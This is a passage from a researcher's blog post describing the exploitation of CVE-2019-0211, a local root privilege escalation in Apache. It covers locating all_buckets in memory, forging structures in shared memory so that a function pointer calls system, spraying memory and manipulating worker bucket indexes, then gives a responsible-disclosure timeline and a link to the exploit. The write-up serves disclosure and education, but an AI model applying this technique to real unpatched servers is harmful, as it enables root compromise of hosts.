<span class="w">    </span><span class="n">apr_status_t</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">perms_set</span><span class="p">)(</span><span class="n">apr_proc_mutex_t</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="w"> </span><span class="n">apr_fileperms_t</span><span class="p">,</span><span class="w"> </span><span class="n">apr_uid_t</span><span class="p">,</span><span class="w"> </span><span class="n">apr_gid_t</span><span class="p">);</span>
<span class="w">    </span><span class="n">apr_lockmech_e</span><span class="w"> </span><span class="n">mech</span><span class="p">;</span>
<span class="w">    </span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">name</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>

<p><em>Important structures of bucket items</em></p>
<p><code>all_buckets[0]-&gt;mutex</code> will be located in the same memory region as <code>all_buckets[0]</code>. Since <code>meth</code> is a static structure, it will be located in <code>libapr</code>'s <code>.data</code>. Since <code>meth</code> points to functions defined in <code>libapr</code>, each of the function pointers will be located in <code>libapr</code>'s <code>.text</code>.</p>
<p>Since we have knowledge of those region's addresses through <code>/proc/self/maps</code>, we can go through every pointer in Apache's memory and find one that matches the structure. It will be <code>all_buckets[0]</code>.</p>
<p>As I mentioned, <code>all_buckets</code>'s address changes at every graceful restart. This means that when our exploit triggers, <code>all_buckets</code>'s address will be different than the one we found. This has to be taken into account; we'll talk about this later.</p>
<h2>2. Write a fake <code>prefork_child_bucket</code> structure in the SHM</h2>
<h3>Reaching the function call</h3>
<p>The code path to the arbitrary function call is the following:</p>
<div class="highlight"><pre><span></span><code><span class="n">bucket_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">parent</span><span class="p">[</span><span class="n">id</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">bucket</span><span class="p">;</span>
<span class="n">my_bucket</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">all_buckets</span><span class="p">[</span><span class="n">bucket_id</span><span class="p">];</span>
<span class="n">mutex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="n">my_bucket</span><span class="o">-&gt;</span><span class="n">mutex</span><span class="p">;</span>
<span class="n">apr_proc_mutex_child_init</span><span class="p">(</span><span class="n">mutex</span><span class="p">);</span>
<span class="p">(</span><span class="o">*</span><span class="n">mutex</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">meth</span><span class="o">-&gt;</span><span class="n">child_init</span><span class="p">(</span><span class="n">mutex</span><span class="p">,</span><span class="w">  </span><span class="n">pool</span><span class="p">,</span><span class="w">  </span><span class="n">fname</span><span class="p">);</span>
</code></pre></div>

<p><img alt="Call:reach" src="/images/carpe-diem-cve-2019-0211-apache-local-root/1.png"></p>
<h3>Calling something proper</h3>
<p>To exploit, we make <code>(*mutex)-&gt;meth-&gt;child_init</code> point to <code>zend_object_std_dtor(zend_object *object)</code>, which yields the following chain:</p>
<div class="highlight"><pre><span></span><code><span class="n">mutex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="n">my_bucket</span><span class="o">-&gt;</span><span class="n">mutex</span>
<span class="p">[</span><span class="n">object</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">mutex</span><span class="p">]</span>
<span class="n">zend_object_std_dtor</span><span class="p">(</span><span class="n">object</span><span class="p">)</span>
<span class="n">ht</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">object</span><span class="o">-&gt;</span><span class="n">properties</span>
<span class="n">zend_array_destroy</span><span class="p">(</span><span class="n">ht</span><span class="p">)</span>
<span class="n">zend_hash_destroy</span><span class="p">(</span><span class="n">ht</span><span class="p">)</span>
<span class="n">val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="n">ht</span><span class="o">-&gt;</span><span class="n">arData</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">val</span>
<span class="n">ht</span><span class="o">-&gt;</span><span class="n">pDestructor</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
</code></pre></div>

<p><code>pDestructor</code> is set to <code>system</code>, and <code>&amp;ht-&gt;arData[0]-&gt;val</code> is a string.</p>
<p><img alt="Call:exec" src="/images/carpe-diem-cve-2019-0211-apache-local-root/2.png"></p>
<p>As you can see, both leftmost structures are superimposed.</p>
<h2>3. Make <code>all_buckets[bucket]</code> point to the structure</h2>
<h3>Problem and solution</h3>
<p>Right now, if <code>all_buckets</code>' address was unchanged in between restarts, our exploit would be over:</p>
<ul>
<li>Get R/W over all memory after PHP's heap</li>
<li>Find <code>all_buckets</code> by matching its structure</li>
<li>Put our structure in the SHM</li>
<li>Change one of the <code>process_score.bucket</code> in the SHM so that <code>all_bucket[bucket]-&gt;mutex</code> points to our payload</li>
</ul>
<p>As <code>all_buckets</code>' address changes, we can do two things to improve reliability: spray the SHM and use every <code>process_score</code> structure - one for each PID.</p>
<h3>Spraying the shared memory</h3>
<p>If <code>all_buckets</code>' new address is not far from the old one, <code>my_bucket</code> will point close to our structure. Therefore, instead of having our <code>prefork_child_bucket</code> structure at a precise point in the SHM, we can spray it all over unused parts of the SHM. The problem is that the structure is also used as a <code>zend_object</code>, and therefore it has a size of (5 * 8 =) 40 bytes to include <code>zend_object.properties</code>. Spraying a structure that big over a space this small won't help us much. To solve this problem, we superimpose the two center structures, <code>apr_proc_mutex_t</code> and <code>zend_array</code>, and spray their address in the rest of the shared memory. The impact will be that <code>prefork_child_bucket.mutex</code> and <code>zend_object.properties</code> point to the same address. Now, if <code>all_bucket</code> is relocated not too far from its original address, <code>my_bucket</code> will be in the sprayed area.</p>
<p><img alt="Call:exec" src="/images/carpe-diem-cve-2019-0211-apache-local-root/3.png"></p>
<h3>Using every <code>process_score</code></h3>
<p>Each Apache worker has an associated <code>process_score</code> structure, and with it a <code>bucket</code> index. Instead of changing one <code>process_score.bucket</code> value, we can change every one of them, so that they cover another part of memory. For instance:</p>
<div class="highlight"><pre><span></span><code><span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">parent</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">bucket</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">-10000</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="mh">0x7faabbcc00</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="n">all_buckets</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="mh">0x7faabbdd00</span>
<span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">parent</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">bucket</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">-20000</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="mh">0x7faabbdd00</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="n">all_buckets</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="mh">0x7faabbff00</span>
<span class="n">ap_scoreboard_image</span><span class="o">-&gt;</span><span class="n">parent</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">bucket</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">-30000</span><span class="w"> </span><span class="o">-&gt;</span><span class="w"> </span><span class="mh">0x7faabbff00</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="n">all_buckets</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="mh">0x7faabc0000</span>
</code></pre></div>

<p>This multiplies our success rate by the number of apache workers. Upon respawn, only one worker have a valid <code>bucket</code> number, but this is not a problem because the others will crash, and immediately respawn.</p>
<h3>Success rate</h3>
<p>Different Apache servers have different number of workers. Having more workers mean we can spray the address of our mutex over less memory, but it also means we can specify more <code>index</code> for <code>all_buckets</code>. This means that having more workers improves our success rate. After a few tries on my test Apache server of 4 workers (default), I had <strong>~80% success rate</strong>. The success rate jumps to <strong>~100% with more workers</strong>.</p>
<p>Again, if the exploit fails, it can be restarted the next day as Apache will still restart properly. Apache's <code>error.log</code> will nevertheless contain notifications about its workers segfaulting.</p>
<h2>4. Await 6:25AM for the exploit to trigger</h2>
<p>Well, that's the easy step.</p>
<h1>Vulnerability timeline</h1>
<ul>
<li>2019-02-22 Initial contact email to <code>security[at]apache[dot]org</code>, with description and POC</li>
<li>2019-02-25 Acknowledgment of the vulnerability, working on a fix</li>
<li>2019-03-07 Apache's security team sends a patch for I to review, CVE assigned</li>
<li>2019-03-10 I approve the patch</li>
<li>2019-04-01 Apache HTTP version 2.4.39 released</li>
</ul>
<p>Apache's team has been prompt to respond and patch, and nice as hell. Really good experience. PHP never answered regarding the UAF.</p>
<h1>Questions</h1>
<h4>Why the name ?</h4>
<p><strong>CARPE</strong>: stands for CVE-2019-0211 Apache Root Privilege Escalation<br>
<strong>DIEM</strong>: the exploit triggers once a day</p>
<p>I had to.</p>
<h4>Can the exploit be improved ?</h4>
<p>Yes. For instance, my computations for the bucket indexes are shaky. This is between a POC and a proper exploit. BTW, I added tons of comments, it is meant to be educational as well.</p>
<h4>Does this vulnerability target PHP ?</h4>
<p>No. It targets the Apache HTTP server.</p>
<h1>Exploit</h1>
<p>The exploit is available <a href="https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache">here</a>.</p>


</div>
		</div>
	</body>
</html>